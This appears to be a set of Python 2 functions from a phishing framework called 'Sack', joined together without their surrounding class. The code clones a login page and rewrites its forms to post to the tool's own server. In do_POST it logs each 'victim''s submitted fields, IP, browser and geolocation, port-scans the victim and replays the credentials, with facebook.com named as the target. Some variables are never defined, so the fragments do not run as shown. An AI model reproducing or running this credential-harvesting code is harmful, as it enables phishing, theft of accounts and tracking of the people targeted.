def rootConnection(self): if os.getuid() != 0: generals.Go("\t" + "-------------------") generals.Go("\t" + "> Welcome to " + config.nameFramework + " <") generals.Go("\t" + "-------------------") generals.Go(generals.Color["blueBold"] + "[*] " + generals.Color["white"] + "Hello " + generals.Color["greenBold"] + os.uname()[1] + "," + generals.Color["white"] + " I hope you enjoy my role") generals.Go(generals.Color["redBold"] + "[x] " + generals.Color["white"] + "You must run in mode " + generals.Color["whiteBold"] + "root" + generals.Color["white"] + " to be able to operate.") exit(0)
def go(self, command): moduleName = command[1] try: attribute = generals.ImportModule(self.define + self.point + "%s" % (moduleName)) attribute.boot(command) except ImportError: generals.Go(generals.Color["yellowBold"] + "Notice: " + generals.Color["white"] + "no you can run " + generals.Color["blueBold"] + "\'%s\' " % moduleName + generals.Color["white"] + "inside sack; is likely that the module does not exist.")
def run(self): try: generals.Go("") generals.Go("------------------------------------------------------------") generals.Go(generals.Color["greenBold"] + "[+] " + generals.Color["white"] + "Sack Web Server is running here:-->" + " " + generals.Color["cyan"] + generals.Text["underline"] + "http://0.0.0.0" + ":" + "%s" % (self.port) + generals.Text["end"]) generals.Go("------------------------------------------------------------") commands.getoutput("sudo fuser -kuv "+str(self.port)+"/tcp > null") self.sackserver = SocketServer.TCPServer(("", self.port), serverHandler) self.sackserver.serve_forever() serverUrl = "localhost" + ":" + "%s" % (self.port) except Exception as errorCase: generals.Go("") generals.Go(generals.Color["yellowBold"] + "Notice:" + " " + generals.Color["white"] + "Occurred a problem on the server. Perhaps the port that running is already in use, try again." + " " + generals.Color["blue"] + "(read the case below)") generals.Go(generals.Color["cyanBold"] + "Case:" + " " + generals.Color["white"] + "%s" % errorCase) generals.Go("")
def headerModule(self, nameModule, versionModule, authorModule, copyrightModule): generals.Go("") generals.Go(generals.Color["greenBold"] + "+" + generals.Color["white"] + "--" + generals.Color["blue"] + "=" + generals.Color["yellowBold"] + "[->" + generals.Color["white"] + " " + nameModule) generals.Go(generals.Color["greenBold"] + "+" + generals.Color["white"] + "--" + generals.Color["blue"] + "=" + generals.Color["yellowBold"] + "[->" + generals.Color["white"] + " " + "Version: " + versionModule) generals.Go(generals.Color["greenBold"] + "+" + generals.Color["white"] + "--" + generals.Color["blue"] + "=" + generals.Color["yellowBold"] + "[->" + generals.Color["white"] + " " + "Author: " + authorModule) generals.Go(generals.Color["greenBold"] + "+" + generals.Color["white"] + "--" + generals.Color["blue"] + "=" + generals.Color["yellowBold"] + "[->" + generals.Color["white"] + " " + "Copyright: " + copyrightModule) generals.Go("") pass
def log_message(self, format, *arguments): argument = format % arguments if argument.split()[1] == "/": generals.Go("") generals.Go(generals.Color["blueBold"] + "[*]" + " " + generals.Color["whiteBold"] + "Recent:" + " " + generals.Text["end"] + "request processed via " + generals.Color["greenBold"] + "GET" + generals.Color["white"] + " " + "(" + generals.Color["blue"] + "normal" + generals.Color["white"] + ")") generals.Go("") else: if argument.split()[1].startswith("/") and "&" in argument.split()[1]: generals.Go("") generals.Go(generals.Color["blueBold"] + "[*]" + " " + generals.Color["whiteBold"] + "Recent:" + " " + generals.Text["end"] + "request processed via " + generals.Color["greenBold"] + "GET" + generals.Color["white"] + " " + "(" + generals.Color["blue"] + "with parameters" + generals.Color["white"] + ")") generals.Go("") #generals.Go(generals.Color["yellowBold"] + "+" + generals.Color["blue"] + "--" + generals.Color["whiteBold"] + "=" + + generals.Color["whiteBold"] + " " + "Parameter:" + " " + generals.Color["white"] + "%s" % argument.split()[1]) generals.Go(generals.Color["yellowBold"] + "+" + generals.Color["blue"] + "--" + generals.Color["whiteBold"] + "=" + " " + generals.Color["greenBold"] + "route and parameter" + generals.Color["white"] + " --" + generals.Color["whiteBold"] + ">" + " " + generals.Text["end"] + generals.Color["blue"] + "%s" % argument.split()[1])
def showList(self): principal = os.getcwd() os.chdir(self.path) self.modules = glob.glob("*" + self.point + self.suffix) # no modules if not self.modules: generals.Go(generals.Color["yellowBold"] + "Notice: " + generals.Color["white"] + "There are no modules available.") else: os.chdir(principal) for module in self.modules: module = module.split(self.point)[0] if module == "__init__": continue self.listing.append(module)
def demoFunc(self, text): generals.Go(text + ": " + "%s" % (self.optionExample))
def do_POST(self): # Details dates, times, userSystem self.userSystem = {} self.host = self.headers.get("host") self.ua = self.headers.get("user-agent") self.uaParser = httpagentparser.detect(self.ua) self.userSystem = { "useragent": str(self.ua), "browser-name": str(self.uaParser["browser"]["name"]), "browser-version": str(self.uaParser["browser"]["version"]), "os": str(self.uaParser["os"]["name"]) } self.timeDat = { "one": time.strftime("%H:%M:%S"), "two": time.strftime("%H" + "%M" + "%S"), "three": time.strftime("%Y/%m/%d") } # reflect ip to victim currentIp2 = geo.showIPclient() currentIp = currentIp2 if dbMgm.isNewVictim(currentIp): Framework.shellLog("New victim connected" + ":" + " " + currentIp) else: Framework.shellLog("Recurrent victim connected" + ":" + " " + currentIp) generals.Go("") generals.Go(generals.Color["redBold"] + ">" + generals.Color["white"] + "--" + generals.Color["yellowBold"] + "=" + generals.Color["blueBold"] + "[+]" + generals.Color["white"] + " " + "System information of the victim") generals.Go(generals.Color["redBold"] + ">" + generals.Color["whiteBold"] + "=" + "=" + generals.Color["whiteBold"] + "|" + generals.Color["white"] + "---" + " Browser:" + " " + generals.Color["whiteBold"] + self.userSystem["browser-name"] + generals.Text["end"]) generals.Go(generals.Color["redBold"] + ">" + generals.Color["whiteBold"] + "=" + "=" + generals.Color["whiteBold"] + "|" + generals.Color["white"] + "---" + " Browser version:" + " " + generals.Color["whiteBold"] + self.userSystem["browser-version"] + generals.Text["end"]) generals.Go(generals.Color["redBold"] + ">" + generals.Color["whiteBold"] + "=" + "=" + generals.Color["whiteBold"] + "|" + generals.Color["white"] + "---" + " Operating system:" + " " + generals.Color["whiteBold"] + self.userSystem["os"] + generals.Text["end"]) # endpoint for webservice data one if self.path == '/data': data = dbMgm.getAll() self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write(data) return if self.path == '/data2': data = dbMgm.getAll2() self.send_response(200) self.send_header('Content-Type', 'text/html') # self.send_header('Content-length', len(data)) self.end_headers() self.wfile.write(data) return # endpoint to show session state if self.path == '/not_logged': Framework.shellLog('User is not logged we can procced') self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() return # endxpoint to show session state if self.path == '/logged': Framework.shellLog('User is logged we can not procced') self.send_response(200) self.send_header("Content-type","text/html") self.end_headers() return # endxpoint if self.path == '/stats': data = dbMgm.getStats() self.send_response(200) self.send_header('Content-Type', 'text/html') # self.send_header('Content-length', len(data)) self.end_headers() self.wfile.write(data) return if self.path == '/ping': content_length = int(self.headers.getheader('content-length')) body = self.rfile.read(content_length) result = json.loads(body, encoding='utf-8') data = dbMgm.ping(result["ip"]) self.send_response(200) self.send_header('Content-Type', 'text/html') # self.send_header('Content-length', len(data)) self.end_headers() self.wfile.write(data) return if self.path == '/pong': content_length = int(self.headers.getheader('content-length')) body = self.rfile.read(content_length) result = json.loads(body, encoding='utf-8') data = dbMgm.pong(result["ip"]) self.send_response(200) self.send_header('Content-Type', 'text/html') # self.send_header('Content-length', len(data)) self.end_headers() self.wfile.write(data) return requestPost = [] generals.Go("") generals.Go(generals.Color["blueBold"] + "[*]" + " " + generals.Color["whiteBold"] + "Recent:" + " " + generals.Text["end"] + "request processed via " + generals.Color["greenBold"] + "POST" + generals.Color["white"]) generals.Go("") form = cgi.FieldStorage(self.rfile, headers = self.headers, environ = { "REQUEST_METHOD": "POST", "CONTENT_TYPE": self.headers["Content-Type"] } ) try: logFile = "%s" % self.timeDat["two"] + ".log" path = os.getcwd() + "/logs/" + logFile registerLogs = open(path, "a") registerLogs.write("\n") registerLogs.write("#--------------------------------### History Log of Sack ###--------------------------------#") registerLogs.write("\n") registerLogs.write("\n") #registerLogs.write("# TARGET: %s" % url) #registerLogs.write("\n") #registerLogs.write("# PORT: %s" % port) #registerLogs.write("\n") registerLogs.write("# LOG: %s" % self.timeDat["two"]) registerLogs.write("\n") registerLogs.write("# DATE: %s" % self.timeDat["one"]) registerLogs.write("\n") registerLogs.write("\n") registerLogs.write("\n") registerLogs.write("# Data obtained from the victim") registerLogs.write("\n") registerLogs.write("\n") registerLogs.write("IP victim:" + " " + currentIp) registerLogs.write("\n") registerLogs.write("\n") result = [] for doTag in form.list: temp = str(doTag).split("(")[1] nameKey, inputValue = temp.replace(")", "").replace("\'", "").replace(",", "").split() requestPost.append("%s %s" % (nameKey, inputValue)) generals.Go(generals.Color["yellowBold"] + "+" + generals.Color["blue"] + "--" + generals.Color["whiteBold"] + "=" + " " + generals.Color["greenBold"] + "%s" % (nameKey) + generals.Color["white"] + " --" + generals.Color["whiteBold"] + ">" + " " + generals.Text["end"] + generals.Color["blue"] + "%s" % (inputValue)) registerLogs.write("%s ---> %s" % (nameKey, inputValue) + "\n") result.append("<div class='data'><strong>%s:</strong>%s</div>" % (nameKey, inputValue) + "\n") registerLogs.close() data = { "status": "online", "date": self.timeDat["three"], "time": self.timeDat["one"], "endpoint": self.host, "target": "facebook.com", "ip": currentIp, "os": self.userSystem["os"], "browser": self.userSystem["browser-name"], "browserVersion": self.userSystem["browser-version"], "useragent": self.userSystem["useragent"], "ports": scanner.scanIP(currentIp), "data" : "".join(result) or "" } geoInfo = geo.getGeoInfo(currentIp) data.update(geoInfo) dbMgm.storeLog(data) Framework.generatePost(url, urlAction, requestPost) SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) except socerr as error: generals.Go(generals.Color["redBold"] + "Error different: " + generals.Color["white"] + "something bad has last" + generals.Text["end"] + " " + generals.Color["blue"] + "(%s)" % str(error)) except Exception as error: print error generals.Go(generals.Color["redBold"] + "Error different: " + generals.Color["white"] + "something bad has last" + generals.Text["end"] + " " + generals.Color["blue"] + "(%s)" % str(error))
def updateContent(self): global fileRedirect fileRedirect = None if not fileRedirect: generals.Go(generals.Color["blueBold"] + "[*] " + generals.Color["white"] + "Updating files...") data = self.request(self.url) else: generals.GoTime(3, "Loading \'%s\' ..." % fileRedirect) data = open(fileRedirect, "r").read() # Beautiful HERE data = bs(data, "html.parser") generals.Go(generals.Color["blueBold"] + "[*] " + generals.Color["white"] + "The files were updated successfully.") for tagElement in data.find_all("form"): tagElement["method"] = "post" tagElement["action"] = "redirect.html" try: urlPath = self.url.rsplit("/", 1)[0] urisp = urlPath.split("/")[2] # Tag:a for tagElement in data.find_all("a"): link = tagElement["href"] if link.startswith("//"): pass elif "://" in link: pass elif "../" in link: link = link.replace("../", "%s/" % uri) tagElement["href"] = link elif link.startswith("/") and not urisp in link: tagElement["href"] = "%s%s" %(urlPath, link); elif not link.startswith("/") and not urisp in link: tagElement["href"] = "%s/%s" %(urlPath, link); # Tag:link for tagElement in data.find_all("link"): link = tagElement["href"] if link.startswith("//"): pass elif "://" in link: pass elif "../" in link: link = link.replace("../", "%s/" %uri) tagElement["href"] = link elif link.startswith("/") and not urisp in link: tagElement["href"] = "%s%s" %(uri, link); elif not link.startswith("/") and not urisp in link: tagElement["href"] = "%s/%s" %(uri, link); # Tag:img for tagElement in data.find_all("img"): link = tagElement["src"] if link.startswith("//"): pass elif "://" in link: pass elif "../" in link: link = link.replace("../", "%s/" % uri) tagElement["src"] = link elif link.startswith("/") and not urisp in link: tagElement["src"] = "%s%s" % (urlPath, link); elif not link.startswith("/") and not urisp in link: tagElement["src"] = "%s/%s" % (urlPath, link); except IndexError: urlPath = self.url urisp = urlPath.replace("http://", "").replace("https://", "") except Exception as error: generals.Go(generals.Color["redBold"] + "Error different: " + generals.Color["white"] + "something bad has last" + generals.Text("end") + " " + generals.Color["blue"] + "(%s)" % str(error)) #indexFile = "index.html" #pathIndex = os.getcwd() + "/data/" + indexFile with open("index.html", "w+") as html: html.write(data.prettify()+"<script src='/assets/js/jquery.min.js'></script><script src='/assets/js/logged.js'></script></head>") #html.write(data.prettify().encode('utf-8').replace("</head>","<script src='/assets/js/jquery.min.js'></script><script src='/assets/js/logged.js'></script></head>")) html.close()
def help(self, nameHelp): generals.Go("") generals.Go("----------") generals.Go("[!" + generals.Color["blueBold"] + " " + nameHelp + " " + generals.Color["white"] + "!]") generals.Go("----------") generals.Go("") generals.Go("These are all the commands that you can run in sack") generals.Go("") generals.Go("go : " + generals.Color["blue"] + "load, call or execute a module" + generals.Color["white"]) generals.Go("list : " + generals.Color["blue"] + "open the list of all the modules" + generals.Color["white"]) generals.Go("info : " + generals.Color["blue"] + "to view information from a module" + generals.Color["white"]) generals.Go("help : " + generals.Color["blue"] + "to ask for help" + generals.Color["white"]) generals.Go("reload : " + generals.Color["blue"] + "restart the console sack" + generals.Color["white"]) generals.Go("about : " + generals.Color["blue"] + "information on the creator author and collaborators" + generals.Color["white"]) generals.Go("clear : " + generals.Color["blue"] + "to clean the terminal" + generals.Color["white"]) generals.Go("exit : " + generals.Color["blue"] + "close or exit from the console sack" + generals.Color["white"]) generals.Go("")
def header(self, totalModules): generals.Go("\033[H\033[J") generals.Go("\t\t" + generals.Color["green"] + "███████╗ █████╗ ██████╗██╗ ██╗") generals.Go("\t\t" + generals.Color["green"] + "██╔════╝██╔══██╗██╔════╝██║ ██╔╝") generals.Go("\t\t" + generals.Color["green"] + "███████╗███████║██║ █████╔╝ ") generals.Go("\t\t" + generals.Color["green"] + "╚════██║██╔══██║██║ ██╔═██╗ ") generals.Go("\t\t" + generals.Color["green"] + "███████║██║ ██║╚██████╗██║ ██╗") generals.Go("\t\t" + generals.Color["green"] + "╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝") generals.Go("") generals.Go("\t" + generals.Color["yellowBold"] + " .:::" + generals.Color["redBold"] + "> " + generals.Color["whiteBold"] + "Footprint track-sessions" + " " + generals.Color["redBold"] + "<" + generals.Color["yellowBold"] + ":::. " + generals.Color["white"]) generals.Go("\t" + generals.Color["blueBold"] + " --------------------------------------" + generals.Color["white"]) generals.Go("\t" + generals.Color["whiteBold"] + " x " + generals.Color["blueBold"] + "🌎 " + generals.Color["redBold"] + "Hack the world happy" + generals.Color["blueBold"] + " 🌍" + " " + generals.Color["whiteBold"] + "x") generals.Go("\t" + generals.Color["blueBold"] + " --------------------------------------" + generals.Color["white"] + "\n") generals.Go("\t" + generals.Color["redBold"] + " " + "[*] " + generals.Color["whiteBold"] + "Modules: " + generals.Color["white"] + generals.Color["blue"] + "%s" % (totalModules) + generals.Color["white"]) generals.Go("\t" + generals.Color["redBold"] + " " + "[*] " + generals.Color["whiteBold"] + "Version: " + generals.Color["white"] + generals.Color["blue"] + config.versionFramework + generals.Color["white"]) generals.Go("\t" + generals.Color["yellowBold"] + " " + "[!] " + generals.Color["whiteBold"] + "Author: " + generals.Color["white"] + generals.Color["blue"] + config.authorName + generals.Color["blue"] + " (" + generals.Color["yellow"]+ config.authorNick + generals.Color["blue"] + "), " + config.authorTwitter + generals.Color["white"]) generals.Go("\t" + generals.Color["yellowBold"] + " " + "[!] " + generals.Color["whiteBold"] + "Homepage: " + generals.Color["white"] + generals.Color["blue"] + config.homepage + generals.Color["white"] + "\n") generals.Go(generals.Color["blue"] + " " + config.descriptionFramework + generals.Color["white"] + "\n")
def usageOpt(self, string): generals.Go(generals.Color["blue"] + "Usage:" + " " + generals.Color["white"] + string)
def shellLog(self, msg): generals.Go("") generals.Go(generals.Color["greenBold"] + "+" + generals.Color["white"] + "--" + generals.Color["blue"] + "=" + generals.Color["yellowBold"] + "[->" + generals.Color["white"] + " " + msg) pass
def infoModule(self, moduleName): try: attribute = generals.ImportModule(self.define + self.point + "%s" % (moduleName)) except ImportError: generals.Go(generals.Color["redBold"] + "Error: " + generals.Color["white"] + "not it can load " + generals.Color["blueBold"] + "\'%s\' " % (moduleName) + generals.Color["white"] + "in sack") else: try: generals.Go("") generals.Go(generals.Color["yellowBold"] + "[!]" + generals.Color["white"] + " " + "Information of " + generals.Color["blueBold"] + "%s" % moduleName + generals.Color["white"] + " " + "module") generals.Go("") generals.Go("name :" + generals.Color["blue"] + " %s" % moduleName + generals.Color["white"]) generals.Go("description :" + generals.Color["blue"] + " %s" % attribute.doDescription + generals.Color["white"]) generals.Go("version :" + generals.Color["blue"] + " %s" % attribute.doVersion + generals.Color["white"]) generals.Go("date :" + generals.Color["blue"] + " %s" % attribute.doDate + generals.Color["white"]) generals.Go("author :" + generals.Color["blue"] + " %s" % attribute.doAuthor + generals.Color["white"]) generals.Go("") except IndexError: generals.Go(generals.Color["redBold"] + "Error: " + generals.Color["white"] + "set up well all the variables with the prefix (do) for this module.")
def shell(self): command = None self.showList() self.header(len(self.listing)) while True: try: command = raw_input(generals.Color["green"] + config.nameFramework + generals.Color["whiteBold"] + ":~>" + " " + generals.Color["white"]) or "help" command = command.split() # List modules if command[0] == "list" or command[0] == "ls": generals.Go("") generals.Go("---------------------") generals.Go("[>" + generals.Color["blueBold"] + " List of modules " + generals.Color["white"] + "<]") generals.Go("---------------------") generals.Go("") for module in self.listing: try: attribute = generals.ImportModule(self.define + self.point + "%s" % (module)) except ImportError: generals.Go(generals.Color["redBold"] + "Alert: " + generals.Color["white"] + "There was a problem to the load the module " + generals.Color["blueBold"] + "\'%s\'" % (module)) else: reflectModule = generals.Color["greenBold"] + "[" + generals.Color["blueBold"] + ">" + generals.Color["greenBold"] + "]" + generals.Color["white"] + " %s {%s} - %s" % (module, generals.Color["blue"] + attribute.doVersion + generals.Color["white"], attribute.doDescription) generals.Go(reflectModule) generals.Go("") elif command[0] == "go" or command[0] == "GO" or command[0] == "Go": try: preData = command[1] except IndexError: generals.Go(generals.Color["blueBold"] + "Usage:" + generals.Color["white"] + " go [module name] [commands]") else: self.go(command) elif command[0] == "exit" or command[0] == "close": self.deleteFilesTarget("index.html", "redirect.html") generals.Go(generals.Color["red"] + "Goodbye: " + generals.Color["white"] + "Thank you for having me used, I hope soon.") break elif command[0] == "clear": generals.Go("\033[H\033[J") elif command[0] == "info": try: preData = command[1] except IndexError: generals.Go(generals.Color["blueBold"] + "Usage:" + generals.Color["white"] + " info [module name]") else: self.infoModule(preData) elif command[0] == "about": generals.Go("") generals.Go("---------------------------") generals.Go("[>" + generals.Color["blueBold"] + " Credits " + generals.Color["whiteBold"] + "&" + generals.Color["blueBold"] + " copyright " + generals.Color["white"] + "<]") generals.Go("---------------------------") generals.Go("") generals.Go(generals.Color["yellowBold"] + "[!] " + generals.Color['white'] + "Creator:" + " " + generals.Color["blue"] + config.authorName + generals.Color["blue"] + " (" + generals.Color["yellow"]+ config.authorNick + generals.Color["blue"] + ")") generals.Go(generals.Color["yellowBold"] + "[!] " + generals.Color['white'] + "Contact:" + " " + generals.Color["blue"] + "email:" + generals.Color["green"] + "*****@*****.**" + generals.Color["white"] + " | " + generals.Color["blue"] + "twitter:" + generals.Color["green"] + "@jofpin" + generals.Color["white"]) generals.Go(generals.Color["yellowBold"] + "[!] " + generals.Color['white'] + "Version:" + " " + generals.Color["blue"] + config.versionFramework + generals.Color['white']) generals.Go(generals.Color["yellowBold"] + "[!] " + generals.Color['white'] + "Date:" + " " + generals.Color["blue"] + config.dateFramework + generals.Color['white']) generals.Go("") elif command[0] == "reload": self.header(len(self.listing)) # Notices for the good writing of commands (list, clear, info) elif command[0] == "lis" or command[0] == "ist" or command[0] == "l" or command[0] == "lisr" or command[0] == "liss" or command[0] == "sl": generals.Go(generals.Color["yellowBold"] + "Notice: " + generals.Color["white"] + "I think that tried of write " + generals.Color["blueBold"] + "'ls'" + generals.Color["white"] + " or " + generals.Color["blueBold"] + "'list'" + generals.Color["white"] + ", are those commands to see the list of modules.") elif command[0] == "cls" or command[0] == "cler" or command[0] == "c" or command[0] == "clean" or command[0] == "cl": generals.Go(generals.Color["yellowBold"] + "Notice: " + generals.Color["white"] + "I think that tried of write " + generals.Color["blueBold"] + "'clear'" + generals.Color["white"] + ", the command to clean the console") elif command[0] == "inf" or command[0] == "in" or command[0] == "i" or command[0] == "if" or command[0] == "information": generals.Go(generals.Color["yellowBold"] + "Notice: " + generals.Color["white"] + "I think that tried of write " + generals.Color["blueBold"] + "'info'" + generals.Color["white"] + ", the command to view the information of the modules") elif command[0] == "help": self.help("Help") else: generals.Go(generals.Color["redBold"] + "Error: " + generals.Color["blue"] + "\'%s\' " % command[0] + generals.Color["white"] + "not be found the order, write command: " + generals.Color["whiteBold"] + "help" + generals.Color["white"]) # Prevent closed easier, avoid interruption and continue. except KeyboardInterrupt: generals.Go("") generals.Go(generals.Color["redBold"] + "Alert: " + generals.Color["white"] + "Interrupted.") except Exception as error: generals.Go(generals.Color["redBold"] + "Error: " + generals.Color["white"] + "%s" % error)